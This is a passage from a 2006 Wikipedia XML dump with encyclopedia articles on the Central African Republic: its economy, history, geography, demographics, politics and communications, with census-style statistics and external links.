The economy of the CAR is dominated by the cultivation and sale of foodcrops such as [[cassava]], [[peanut]]s, [[maize]], [[sorghum]], [[millet]], [[sesame]] and [[plantain]]s. The importance of foodcrops over exported [[cash crops]] is indicated by the fact that the total production of cassava, the staple food of most Central Africans, ranges between 200,000 and 300,000 [[ton]]s a year, while the production of [[cotton]], the principal exported cash crop, ranges from 25,000 to 45,000 tons a year. Foodcrops are not exported in large quantities but they still constitute the principal cash crops of the country because Central Africans derive far more income from the periodic sale of surplus foodcrops than from exported cash crops such as cotton or [[coffee]]. Many rural and urban women also transform some foodcrops into alcoholic drinks such as sorghum beer or hard liquor and derive considerable income from the sale of these drinks. Much of the income derived from the sale of foods and alcohol is not &quot;on the books&quot; and thus is not considered in calculating per capita income, which is one reason why official figures for per capita income are not accurate in the case of the CAR. The [[per capita income]] of the CAR is often listed as being around $300 a year, said to be one of the lowest in the world, but this figure is based mostly on reported sales of exports and largely ignores the more important but unregistered sale of foods, locally-produced [[alcoholic beverage|alcohol]], [[diamond]]s, [[ivory]], [[bushmeat]], and [[traditional medicines]], for example. The informal economy of the CAR is more important than the formal economy for most Central Africans.

Diamonds constitute the most important export of the CAR, frequently accounting for 40-55% of export revenues, but an estimated 30-50% of the diamonds produced each year leave the country clandestinely. 

The CAR is heavily dependent upon [[multilateral foreign aid]] and the presence of numerous [[NGO]]'s which provide numerous services which the government fails to provide. As one [[UNDP]] official put it, the CAR is a country &quot;sous serum,&quot; or a country hooked up to an IV. (Mehler 2005:150) The very presence of numerous foreign personnel and organizations in the country, including peacekeepers and even refugee camps, provides an important source of revenue for many Central Africans. 

The country is self-sufficient in food crops, but much of the population lives at a subsistence level. [[Livestock]] development is hindered by the presence of the [[tsetse fly]].

Export trade is hindered by poor economic development, and the location of this country far from the coast.

The natural wilderness regions of this country had good potential as [[ecotourist]] destinations. The country is noted for its population of [[forest elephant]]s. In the southwest, the [[Dzanga-Sangha National Park]] is a rain forest area. To the north, the [[Saint Florist National Park]] has been well-populated with wildlife, including  [[leopard]]s, [[lion]]s, and [[Rhinoceros|rhino]]s. To the northeast the [[Bamingui-Bangoran National Park]]. However the population of wildlife in these parks has severely diminished over the past 20 years due to poaching, particularly from the neighboring [[Sudan]].

== Demographics ==
{{main|Demographics of the Central African Republic}}

The population has tripled since independence. In [[1960]] the population was 1,232,000.

The nation is divided into over 80 ethnic groups, each having its own language. The largest ethnic groups are the [[Baya]] 33%, [[Banda people|Banda]] 27%, [[Mandjia]] 13%, [[Sara people|Sara]] 10%, [[Mboum]] 7%, [[M'Baka]] 4%, and [[Yakoma]] 4%, with 2% others, including [[Europe]]ans. Of the religions, 35% are indigenous beliefs, 25% [[Protestant]], 25% [[Roman Catholic]], and 15% [[Muslim]].

== Culture ==
{{main|Culture of the Central African Republic}}

''See also'':
*[[List of African writers (by country)#Central African Republic|List of writers from the Central African Republic]]
*[[Music of the Central African Republic]]
*[[Public holidays in the Central African Republic]]

== Miscellaneous topics ==
*[[Communications in the Central African Republic]]
*[[Foreign relations of the Central African Republic]]
*[[Military of the Central African Republic]]
*[[Transportation in the Central African Republic]]
*[[List of people on stamps of Central African Republic]]

== External links==
{{sisterlinks|Central African Republic}}

===Government===
*[http://www.kodro.net/ Republique Centrafricaine] official government site (in French)

===News===
*[http://allafrica.com/centralafricanrepublic/ allAfrica - ''Central African Republic''] news headline links

===Overviews===
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1067518.stm BBC News - ''Country Profile: Central African Republic'']
*[http://www.cia.gov/cia/publications/factbook/geos/ct.html CIA World Factbook - ''Central African Republic'']

===Directories===
*[http://search.looksmart.com/p/browse/us1/us317836/us317916/us559898/us559899/us10065674/us559909/ LookSmart - ''Central African Republic''] directory category 
*[http://dmoz.org/Regional/Africa/Central_African_Republic Open Directory Project - ''Central African Republic''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/centralafr.html Stanford University - Africa South of the Sahara: ''Central African Republic''] directory category
*[http://www.kodro.net/ The Index on Africa - ''Central African Republic''] directory category
*[http://www.sas.upenn.edu/African_Studies/Country_Specific/CAR.html University of Pennsylvania - African Studies Center: ''Central African Republic''] directory category
*[http://dir.yahoo.com/Regional/Countries/Central_African_Republic/ Yahoo! - ''Central African Republic''] directory category

===Ethnic Groups===
* [http://www.pygmies.info/ African Pygmies] Culture and music of the first inhabitants of the Central African Republic, with photos and ethnographic notes

===Tourism===
*{{wikitravel}}

{{Africa}}

[[Category:African Union member states]]
[[Category:Central African Republic|*]]
[[Category:Landlocked countries]]

[[am:የመካከለኛው አፍሪካ ሪፑብሊክ]]
[[ar:جمهورية أفريقيا الوسطى]]
[[an:Republica Zentroafricana]]
[[bg:Централноафриканска република]]
[[bs:Centralna Afrička Republika]]
[[zh-min-nan:Tiong-hui Kiōng-hô-kok]]
[[bn:মধ্য আফ্রিকা]]
[[ca:República Centreafricana]]
[[cs:Středoafrická republika]]
[[da:Centralafrikanske Republik]]
[[de:Zentralafrikanische Republik]]
[[et:Kesk-Aafrika Vabariik]]
[[es:República Centroafricana]]
[[eo:Centr-Afrika Respubliko]]
[[fr:République centrafricaine]]
[[gl:República Centroafricana - République Centroafricaine]]
[[ko:중앙아프리카 공화국]]
[[hr:Srednjoafrička Republika]]
[[io:Centrafrika]]
[[id:Republik Afrika Tengah]]
[[is:Mið-Afríkulýðveldið]]
[[it:Repubblica Centrafricana]]
[[he:הרפובליקה המרכז אפריקאית]]
[[jv:Republik Afrika Tengah]]
[[lv:Centrālāfrika]]
[[lt:Centrinės Afrikos Respublika]]
[[li:Centraal Afrika]]
[[hu:Közép-afrikai Köztársaság]]
[[ms:Republik Afrika Tengah]]
[[nl:Centraal-Afrikaanse Republiek]]
[[nds:Zentraalafrikaansche Republiek]]
[[ja:中央アフリカ]]
[[no:Den sentralafrikanske republikk]]
[[nn:Den sentralafrikanske republikken]]
[[pl:Republika Środkowoafrykańska]]
[[pt:República Centro-Africana]]
[[ro:Republica Centrafricană]]
[[ru:Центрально-Африканская Республика]]
[[sa:केन्द्रीय अफ्रीका गणराज्य]]
[[sq:Afrika Qendrore]]
[[simple:Central African Republic]]
[[sk:Stredoafrická republika]]
[[sl:Srednjeafriška republika]]
[[sr:Централноафричка Република]]
[[fi:Keski-Afrikan tasavalta]]
[[sv:Centralafrikanska republiken]]
[[tl:Central African Republic]]
[[th:สาธารณรัฐแอฟริกากลาง]]
[[tr:Orta Afrika Cumhuriyeti]]
[[uk:Центрально-Африканська Республіка]]
[[zh:中非共和國]]</text>
    </revision>
  </page>
  <page>
    <title>History of the Central African Republic</title>
    <id>5479</id>
    <revision>
      <id>36805971</id>
      <timestamp>2006-01-26T16:30:48Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>reduce linking to date elements</comment>
      <text xml:space="preserve">The [[Central African Republic]] is believed to have been settled from at least the 7th century on by overlapping empires, including the [[Kanem-Bornu Empire|Kanem-Bornu]], [[Ouaddai]], [[Baguirmi]], and Dafour groups based around [[Lake Chad]] region and along [[Upper Nile]]. Later, various [[sultanate]]s claimed present-day C.A.R, using the entire [[Oubangui]] region as a [[Slavery|slave]] reservoir, from which slaves were traded north across the [[Sahara]] and to West Africa for export by the [[Europe]]ans. Population [[Migration (human)|migration]] in the 18th and 19th centuries brought new migrants into the area, including the [[Zande]], [[Banda (CAR)|Banda]], and [[Baya-Mandjia]].

In [[1875]] the [[Egypt|Egyptian]] sultan [[Rabah]] governed Upper-Oubangui, which included present-day C.A.R. Europeans, primarily the French, [[Ethnic German|German]], and [[Belgium|Belgian]]s, arrived in the area in [[1885]]. The French consolidated their legal claim to the area through an [[1887]] convention with [[Congo Free State]], which granted [[France]] possession of the right bank of the [[Oubangui River]]. Two years later, the French established an outpost at [[Bangui]], and in [[1894]], [[Oubangui-Chari]] became a French territory. However, the French did not consolidate their control over the area until [[1903]] after having defeated the forces of Sultan, Rabah, and established colonial administration throughout the territory. In [[1906]], the Oubangui-Chari territory was united with the [[Chad]] colony; in [[1910]], it became one of the four territories of the [[Federation of French Equatorial Africa]] (A.E.F.), along with [[Chad]], [[Republic of the Congo]], and [[Gabon]]. The next thirty years were marked by smallscale revolts against French rule and the development of a [[plantation]]-style economy.

In August [[1940]], the territory responded, with the rest of the A.E.F., to the call from General [[Charles de Gaulle]] to fight for [[Free France]]. After [[World War II]], the [[French Constitution]] of [[1946]] inaugurated the first of a series of reforms that led eventually to complete independence for all French territories in western and equatorial Africa. In [[1946]], all A.E.F. inhabitants were granted French citizenship and allowed to establish local assemblies. The assembly in C.A.R. was led by [[Barthélemy Boganda]], a [[Roman Catholic|Catholic]] priest who also was known for his forthright statements in the French Assembly on the need for [[Africa|African]] [[emancipation]]. In [[1956]] French legislation eliminated certain voting inequalities and provided for the creation of some organs of self-government in each territory. The French constitutional referendum of September [[1958]] dissolved the A.E.F., and on [[December 1]] of the same year the Assembly declared the birth of the Central African Republic with Boganda as head of government. Boganda ruled until his death in a March [[1959]] plane crash. His cousin, [[David Dacko]], replaced him, governing the country until [[1965]] and overseeing the country's declaration of independence on [[August 13]], [[1960]].

On [[January 1]], [[1966]], following a swift and almost bloodless coup, Colonel [[Jean-Bédel Bokassa]] assumed power as president of the Republic. Bokassa abolished the constitution of [[1959]], dissolved the National Assembly, and issued a decree that placed all legislative and executive powers in the hands of the president. On [[December 4]], [[1977]], the republic became a monarchy -- the [[Central African Empire]] -- with the promulgation of the imperial constitution and the proclamation of the president as Emperor Bokassa I. His regime was characterized by numerous human rights atrocities.

Following riots in Bangui and the murder of between 50 and 200 schoolchildren, former President Dacko led a successful [[France|French]]-backed coup against Bokassa on [[September 20]], [[1979]] and restored the Republic. Dacko's efforts to promote economic and political reforms proved ineffectual, and on [[September 20]], [[1981]], he in turn was overthrown in a bloodless coup by General [[André Kolingba]]. For four years, Kolingba led the country as head of the Military Committee for National Recovery (CRMN). In [[1985]] the CRMN was dissolved, and Kolingba named a new cabinet with increased civilian participation, signaling the start of a return to civilian rule. The process of democratization quickened in [[1986]] with the creation of a new political party, the Rassemblement Démocratique Centrafricain (RDC), and the drafting of a new constitution that subsequently was ratified in a national referendum. General Kolingba was sworn in as constitutional President on [[November 29]], [[1986]]. The constitution established a National Assembly made up of 52 elected deputies, elected in July [[1987]]. Due to mounting political pressure, in [[1991]] President Kolingba announced the creation of National Commission to rewrite the constitution to provide for a [[multi-party]] system. Multi-party presidential elections were conducted in [[1992]] but were later cancelled due to serious logistical and other irregularities. [[Ange-Félix Patassé]] won a second-round victory in rescheduled elections held in October [[1993]], and was re-elected for another 6-year term in September [[1999]].

Salary arrears, labor unrest, and unequal treatment of military officers from different ethnic groups led to three mutinies against the Patassé government in [[1996]] and [[1997]]. The French succeeded in quelling the disturbances, and an African peacekeeping force (MISAB) occupied Bangui until [[1998]] when they were relieved by a United Nations peacekeeping mission ([[MINURCA]]). Economic difficulties caused by the looting and destruction during the [[1996]] and [[1997]] mutinies, energy crises, and government mismanagement continued to trouble Patassé's government through [[2000]]. In March [[2000]] the last of the MINURCA forces departed Bangui.

On [[15 March]] [[2003]] rebels who controlled part of the country moved into Bangui and installed their commander, General [[François Bozizé]], as president, while President Patassé was out of the country.

== See also == 
*[[Central African Republic]]

{{Africa in topic|History of}}

[[Category:Central African Republic]]

[[de:Geschichte der Zentralafrikanischen Republik]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of the Central African Republic</title>
    <id>5480</id>
    <revision>
      <id>40556796</id>
      <timestamp>2006-02-21T11:54:21Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <comment>better map</comment>
      <text xml:space="preserve">[[Image:Central African Republic Map.jpg|thumb|300px||right|Map Of Central African Republic]]
'''Location:'''
Central [[Africa]], north of [[Democratic Republic of the Congo]]

'''Geographic coordinates:'''
{{coor d|7|N|21|E|}}

'''Map references:'''
Africa

'''Area:'''
&lt;br&gt;''total:''
622,984 km&amp;sup2;
&lt;br&gt;''land:''
622,984 km&amp;sup2;
&lt;br&gt;''water:''
0 km&amp;sup2;

'''Area - comparative:'''
slightly smaller than [[Texas]]

'''Land boundaries:'''
&lt;br&gt;''total:''
5,203 km
&lt;br&gt;''border countries:''
[[Cameroon]] 797 km, [[Chad]] 1,197 km, Democratic Republic of the Congo 1,577 km, [[Republic of the Congo]] 467 km, [[Sudan]] 1,165 km

'''Coastline:'''
0 km (landlocked)

'''Maritime claims:'''
none (landlocked)

'''Climate:'''
tropical; hot, dry winters; mild to hot, wet summers

'''Terrain:'''
vast, flat to rolling, monotonous plateau; scattered hills in northeast and southwest

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
[[Oubangui River]] 335 m
&lt;br&gt;''highest point:''
[[Mont Ngaoui]] 1,420 m

'''Natural resources:'''
[[diamond]]s, [[uranium]], [[timber]], [[gold]], [[petroleum]], [[hydropower]]

'''Land use:'''
&lt;br&gt;''arable land:''
3%
&lt;br&gt;''permanent crops:''
0%
&lt;br&gt;''permanent pastures:''
5%
&lt;br&gt;''forests and woodland:''
75%
&lt;br&gt;''other:''
17% (1993 est.)

'''Irrigated land:'''
NA km&amp;sup2;

'''Natural hazards:'''
hot, dry, dusty harmattan winds affect northern areas; floods are common

'''Environment - current issues:'''
tap water is not potable; poaching has diminished its reputation as one of the last great wildlife refuges; desertification; deforestation

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
[[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Desertification]], [[Endangered Species]], [[Nuclear Test Ban]], [[Ozone Layer Protection]], [[Tropical Timber 94]]
&lt;br&gt;''signed, but not ratified:''
[[Law of the Sea]]

'''Geography - note:'''
[[landlocked]]; almost the precise center of Africa

==See also==
*[[Central African Republic]]

{{Africa in topic|Geography of}}

[[Category:Geography of the Central African Republic| ]]
[[Category:Geography by country|Central African Republic]]

[[pt:Geografia da República Centro-Africana]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of the Central African Republic</title>
    <id>5481</id>
    <revision>
      <id>35162648</id>
      <timestamp>2006-01-14T17:13:59Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">[[Image:Central African Republic-demography.png|thumb|300px|right|Demographics of Central African Republic, Data of [[FAO]], year 2005 ; Number of inhabitants in thousands.]]
There are more than 80 ethnic groups in the [[Central African Republic]] (CAR), each with its own language. About 50% are [[Baya-Mandjia]] and [[Banda (CAR)|Banda]]--40% (largely located in the northern and central parts of the country), and 7% are [[M'Baka]] (southwestern corner of the CAR). [[Sangho]], the language of a small group along the [[Oubangui]] River, is the national language spoken by the majority of Central Africans. Only a small part of the population has more than an elemental knowledge of French, the official language.

More than 55% of the population of the CAR lives in rural areas. The chief agricultural areas are around the [[Bossangoa]] and [[Bambari]]. [[Bangui]], [[Berberati]], [[Bangassou]], and [[Bossangoa]] are the most densely populated urban centers.

==Demographic data from the CIA World Factbook==

===Population===
:3,799,897
:''Note'': estimates for this country explicitly take into account the effects of excess mortality due to AIDS; this can result in lower life expectancy, higher infant mortality and death rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2005 est.)

===Age structure===
:0-14 years: 42.5% (male 813,596/female 802,728)
:15-64 years: 54% (male 1,010,696/female 1,041,903)
:65 years and over: 3.4% (male 54,345/female 76,629) (2005 est.)

===Median age===
:Total: 18.12 years
:Male: 17.75 years
:Female: 18.5 years (2005 est.)

===Population growth rate===
:1.49% (2005 est.)

===Birth rate===
:35.17 births/1,000 population (2005 est.)

===Death rate===
:20.27 deaths/1,000 population (2005 est.)

===Net migration rate===
:0 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.03 male(s)/female
:Under 15 years: 1.01 male(s)/female
:15-64 years: 0.97 male(s)/female
:65 years and over: 0.71 male(s)/female
:Total population: 0.98 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 91 deaths/1,000 live births
:Male: 97.84 deaths/1,000 live births
:Female: 83.96 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 41.01 years
:Male: 39.21 years
:Female: 42.86 years (2005 est.)

===Total fertility rate===
:4.5 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: 13.5% (2003 est.)
:People living with HIV/AIDS: 260,000 (2003 est.)
:Deaths: 23,000 (2003 est.)

===Major infectious diseases===
:Degree of risk: very high
:Food or waterborne diseases: bacterial diarrhea, hepatitis A, and typhoid fever
:Vectorborne disease: malaria
:Respiratory disease: meningococcal meningitis (2004)

===Nationality===
:Noun: Central African(s)
:Adjective: Central African

===Ethnic groups===
:Baya 33%, Banda 27%, Mandjia 13%, [[Sara people|Sara]] 10%, Mboum 7%, M'Baka 4%, Yakoma 4%, other 2%

===Religions===
:Indigenous beliefs 35%, Protestant 25%, Roman Catholic 25%, Muslim 15%
:''Note'': animistic beliefs and practices strongly influence the Christian majority

===Languages===
:French (official), Sangho (lingua franca and national language), tribal languages

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 51%
:Male: 63.3%
:Female: 39.9% (2003 est.)

==References==
{{CIA WFB 2005}}

{{Africa in topic|Demographics of}}

[[Category:Central African Republic]]
[[Category:Demographics by country|Central African Republic]]

[[es:Demografía de la República Centroafricana]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of the Central African Republic</title>
    <id>5482</id>
    <revision>
      <id>39374350</id>
      <timestamp>2006-02-12T19:19:27Z</timestamp>
      <contributor>
        <ip>83.121.2.141</ip>
      </contributor>
      <comment>disambiguation from [[FAO]] to [[Food and Agriculture Organization]] by the [[User:DabMachine|DabMachine]]</comment>
      <text xml:space="preserve">{{Politics of Central African Republic}}
'''Politics of the Central African Republic''' takes place in a framework of a [[presidential system|presidential]] [[republic]], whereby the [[Heads of state of the Central African Republic (and Central African Empire)|President]] is both [[head of state]] and [[head of government]] (with an executive [[Heads of government of the Central African Republic (and Central African Empire)|Prime Minister]]. [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and parliament. The official government was deposed in [[March 15]], [[2003]] by forces under the rebel leader [[François Bozizé]], who promised elections in 18 to 30 months. A new cabinet was set up in [[April 1]], [[2003]]. Elections were held on [[March 13]], [[2005]]. 

==Executive branch==
{{office-table}}
|[[Heads of state of the Central African Republic (and Central African Empire)|President]]
|[[François Bozizé]]
|
|[[15 March]] [[2003]]
|-
|[[Heads of government of the Central African Republic (and Central African Empire)|Prime Minister]]
|[[Élie Doté]]
|
|[[13 June]] [[2005]]
|}
The president is elected by popular vote for a six-year term, the prime minister is appointed by the president.

==Legislative branch==
The ''' [[National Assembly of the Central African Republic|National Assembly]] ''' (''Assemblée Nationale'') has 105 members, elected for a five-year term using the two-round (or [[Runoff voting|Run-off]]) system.

==Political parties and elections==
{{elect|List of political parties in the Central African Republic|Elections in the Central African Republic}}
{{main|Central African Republic elections, 2005}}
{{Central African Republic presidential election, 2005}}
{{Central_African_Republic_parliamentary_election,_2005}}

==Judicial branch==
Supreme Court or Cour Supreme, judges appointed by the president; Constitutional Court, judges appointed by the president

==Administrative divisions==
The Central African Republic is divided in 14 prefectures (prefectures, singular - prefecture), 2 economic prefectures* (prefectures economiques, singular - prefecture economique), and 1 commune**; Bamingui-Bangoran, Bangui**, Basse-Kotto, Gribingui*, Haute-Kotto, Haute-Sangha, Haut-Mbomou, [[Kemo-Gribingui]], Lobaye, Mbomou, Nana-Mambere, Ombella-Mpoko, Ouaka, Ouham, Ouham-Pende, Sangha*, Vakaga.
==International organization participation==
[[ACCT]], [[ACP]], [[AfDB]], [[BDEAC]], [[CCC]], [[CEEAC]], [[ECA]], [[Food and Agriculture Organization|FAO]], [[FZ]], [[G-77]], [[IBRD]], [[ICAO]], [[International Criminal Court|ICC]], [[ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[IDA]], [[IFAD]], [[IFC]], [[IFRCS]], [[International Labour Organization|ILO]], [[International Monetary Fund|IMF]], [[Intelsat]], [[Interpol]], [[IOC]], [[ITU]], [[NAM]], [[OAU]], [[OIC]] (observer), [[OPCW]], [[UDEAC]], [[United Nations|UN]], [[UNCTAD]], [[UNESCO]], [[UNIDO]], [[UPU]], [[WCL]], [[WHO]], [[WIPO]], [[WMO]], [[WToO]], [[WTrO]]

{{Africa in topic|Politics of}}

[[Category:Central African Republic]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of the Central African Republic</title>
    <id>5483</id>
    <revision>
      <id>38981964</id>
      <timestamp>2006-02-09T22:51:18Z</timestamp>
      <contributor>
        <username>Briaboru</username>
        <id>284038</id>
      </contributor>
      <text xml:space="preserve">{{CIA}}
==Economic Overview==

The economy of the CAR is dominated by the cultivation and sale of foodcrops such as cassava, peanuts, maize, sorghum, millet, sesame and plantains. The importance of foodcrops over exported cash crops is illustrated by the fact that the total production of cassava, the staple food of most Central Africans, ranges between c. 200,000 and 300,000 tons a year, while the production of cotton, the principal exported cash crop, ranges from c. 25,000 to 45,000 tons a year. Foodcrops are not exported in large quantities but they still constitute the principal cash crops of the country because Central Africans derive far more income from the periodic sale of surplus foodcrops than from exported cash crops such as cotton or coffee. Many rural and urban women also transform some foodcrops into alcoholic drinks such as sorghum beer or hard liquor and derive considerable income from the sale of these drinks. Much of the income derived from the sale of foods and alcohol is not &quot;on the books&quot; and thus is not considered in calculating per capita income, which is one reason why official figures for per capita income are not accurate in the case of the CAR. The per capita income of the CAR is often listed as being around $300 a year, said to be one of the lowest in the world, but this figure is based mostly on reported sales of exports and largely ignores the more important but unregistered sale of foods, locally-produced alcohol, diamonds, ivory, bushmeat, and traditional medicines, for example. The informal economy of the CAR is more important than the formal economy for most Central Africans.

Diamonds constitute the most important export of the CAR, frequently accounting for 40-55% of export revenues, but an estimated 30-50% of the diamonds produced each year leave the country clandestinely. 

The CAR is heavily dependent upon multilateral foreign aid and the presence of numerous [[NGO]]'s which provide numerous services which the government fails to provide. As one [[UNDP]] official put it, the CAR is a country &quot;sous serum,&quot; or a country hooked up to an IV. (Mehler 2005:150) The very presence of numerous foreign personnel and organizations in the country, including peacekeepers and even refugee camps, provides an important source of revenue for many Central Africans. 

The [[Central African Republic]] is classified as one of the world's least developed countries, with an estimated annual per capita income of $310 (2000). 
Sparsely populated and landlocked, the nation is overwhelmingly agrarian, with the vast bulk of the population engaged in subsistence farming and 55% of the country's GDP arising from agriculture. Subsistence agriculture, together with forestry, remains the backbone of the economy of the Central African Republic (CAR), with more than 70% of the population living in outlying areas. The agricultural sector generates half of GDP. Principal foodcrops include [[cassava]], [[peanuts]], [[sorghum]], [[millet]], [[maize]], [[sesame]], and [[plantains]]s. Principal cash crops for export include [[cotton]], [[coffee]], and [[tobacco]].  [[Timber]] has accounted for about 16% of export earnings and the diamond industry for nearly 54%.

The country also has rich but largely unexploited natural resources in the form of [[diamond]]s, [[gold]], [[uranium]], and other [[mineral]]s. There may be [[petroleum]] deposits along the country's northern border with [[Chad]]. Diamonds are the only of these mineral resources currently being developed; reported sales of largely uncut diamonds make up close to 60% of the CAR's export earnings. Industry contributes less than 20% of the country's GDP, with artesian diamond mining, breweries, and sawmills making up the bulk of the sector. Services currently account for 25% of GDP, largely because of the oversized government bureaucracy and high transportation costs arising from the country's landlocked position.

Much of the country's limited electrical supply is provided by hydroelectric plants based in [[Boali]]. Fuel supplies must be barged in via the [[Oubangui River]] or trucked overland through [[Cameroon]], resulting in frequent shortages of gasoline, diesel, and jet fuel. The C.A.R.'s transportation and communication network is limited. The country has only 429 kilometers of paved road, limited international, and no domestic air service, and does not possess a railroad. River traffic on the Oubangui River is impossible from April to July, and conflict in the region has sometimes prevented shipments from moving between [[Kinshasa]] and Bangui. The telephone system functions, albeit imperfectly. Four radio stations currently operate in the C.A.R., as well as one television station. Numerous newspapers and pamphlets are published on a regular basis, and one company has begun providing internet service.

In the 40 years since independence, the C.A.R. has made slow progress toward economic development. Economic mismanagement, poor infrastructure, a limited tax base, scarce private investment, and adverse external conditions have led to deficits in both its budget and external trade. Its debt burden is considerable, and the country has seen a decline in per capita [[GNP]] over the last 30 years.  Important constraints to economic development include the CAR's landlocked position, a poor transportation system, a largely unskilled work force, and a legacy of misdirected macroeconomic policies. The 50% devaluation of the currencies of 14 Francophone African nations on [[12 January]] [[1994]] had mixed effects on the CAR's economy. Diamond, timber, coffee, and cotton exports increased, leading an estimated rise of GDP of 7% in 1994 and nearly 5% in 1995. Military rebellions and social unrest in 1996 were accompanied by widespread destruction of property and a drop in GDP of 2%. Ongoing violence between the government and rebel military groups over pay issues, living conditions, and political representation has destroyed many businesses in the capital and reduced tax revenues for the government.

The [[IMF]] approved an Extended Structure Adjustment Facility in 1998. The government has set targets of annual 5% growth and 2.5% inflation for 2000-2001. Structural adjustment programs with the [[World Bank]] and IMF and interest-free credits to support investments in the [[agriculture]], [[livestock]], and transportation sectors have had limited impact. The World Bank and IMF are now encouraging the government to concentrate exclusively on implementing much-needed economic reforms to jump-start the economy and defining its fundamental priorities with the aim of alleviating poverty. As a result, many of the state-owned business entities have been privatized and limited efforts have been made to standardize and simplify labor and investment codes and to address problems of corruption. The Central African Government is currently in the process of adopting new labor and investment codes.

'''GDP:'''
purchasing power parity - $5.8 billion (1999 est.)

'''GDP - real growth rate:'''
5% (1999 est.)

'''GDP - per capita:'''
purchasing power parity - $1,700 (1999 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
53%
&lt;br&gt;''industry:''
21%
&lt;br&gt;''services:''
26% (1997 est.)

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
2.6% (1999 est.)

'''Labor force:'''
NA

'''Unemployment rate:'''
6% (1993)

'''Budget:'''
&lt;br&gt;''revenues:''
$638 million
&lt;br&gt;''expenditures:''
$1.9 billion, including capital expenditures of $888 million (1994 est.)

'''Industries:'''
[[diamond]] mining, sawmills, breweries, textiles, footwear, assembly of bicycles and motorcycles

'''Industrial production growth rate:'''
NA%

'''Electricity - production:'''
105 GWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
19.05%
&lt;br&gt;''hydro:''
80.95%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
98 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
[[cotton]], [[coffee]], [[tobacco]], [[manioc]] ([[tapioca]]), [[yam (vegetable)|yams]], [[millet]], [[maize]], [[banana]]s; timber

'''Exports:'''
$195 million (f.o.b., 1999)

'''Exports - commodities:'''
[[diamond]]s, timber, [[cotton]], [[coffee]], [[tobacco]]

'''Exports - partners:'''
[[Benelux]] 36%, [[Côte d'Ivoire]] 5%, [[Spain]] 4%, [[Egypt]] 3%, [[France]] (1997)

'''Imports:'''
$170 million (f.o.b., 1999)

'''Imports - commodities:'''
food, textiles, petroleum products, machinery, electrical equipment, motor vehicles, chemicals, pharmaceuticals, consumer goods, industrial products

'''Imports - partners:'''
[[France]] 30%, [[Côte d'Ivoire]] 18%, [[Cameroon]] 11%, [[Germany]] 4%, [[Japan]] (1997)

'''Debt - external:'''
$790 million (1999 est.)

'''Economic aid - recipient:'''
$172.2 million (1995); note - traditional budget subsidies from France

'''Currency:'''
1 Communaute Financiere Africaine franc (CFAF) = 100 centimes

'''Exchange rates:'''
Communaute Financiere Africaine francs (CFAF) per US$1 - 647.25 (January 2000), 615.70 (1999), 589.95 (1998), 583.67 (1997), 511.55 (1996), 499.15 (1995)
&lt;br&gt;''note:''
since [[1 January]] [[1999]], the CFAF is pegged to the euro at a rate of 655.957 CFA francs per euro

'''Fiscal year:'''
calendar year

==See also==
* [[Central African Republic]]
* [[Economy of Africa]]

{{WTO}}
[[Category:Central African Republic]]
[[Category:Economies by country|Central African Republic]]
[[Category:WTO members|Central African Republic]]
[[Category:African Union member economies|Central African Republic]]
[[es:Economía de la República Centroafricana]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in the Central African Republic</title>
    <id>5484</id>
    <revision>
      <id>34743453</id>
      <timestamp>2006-01-11T11:48:45Z</timestamp>
      <contributor>
        <username>PetterLundkvist</username>
        <id>315287</id>
      </contributor>
      <text xml:space="preserve">'''Telephone Network:'''&lt;br&gt;
* ''The national network for fixed phones'' consists of some [[Panaftel]] [[microwave]] radio relay links (from Bangui to Bossembele, Baoro, Carnot, Berberati and on to Gamboula on the border with Cameroon). This microwave network has however never been used, since the equipment requires electricity for the repeaters that are located every 50km. The current fixed-lines outside Bangui are transmitted through a DOMSAT network installed in the early 1990s as a star formation around the Bangui satellite earth station (1 [[Intelsat]]). There are about 9000 fixed-lines subscribers (2003).&lt;br&gt;
* ''GSM coverage'' was for a long time limited to the capital area. But in October 2005 coverage was expanded at least to Berberati in the western part of the country. There are currently two GSM-900 mobile operators, Telecel CAR and Nationlink Telecom RCA. A third network, Centrafrique Telecom Plus closed down in late 2003 after failing to attract more than 5000 subscribers.&lt;br&gt;

'''Radio broadcast stations:'''
AM 1, FM 3, shortwave 1 (1998)

'''Radios:'''
283,000 (1997)

'''Television broadcast stations:'''
NA

'''Televisions:'''
18,000 (1997)

'''Internet Service Providers (ISPs):'''
NA

'''[[Country codes]]:''' CF

==See also==

* [[Central African Republic]]

==External links==

* [http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1067518.stm Country profile: Central African Republic]
* [http://www.gsmworld.com/roaming/gsminfo/cou_cf.shtml GSM Coverage Maps: Central African Republic]

[[Category:Central African Republic]]
[[Category:Communications by country|Central African Republic]]</text>
    </revision>
  </page>
  <page>
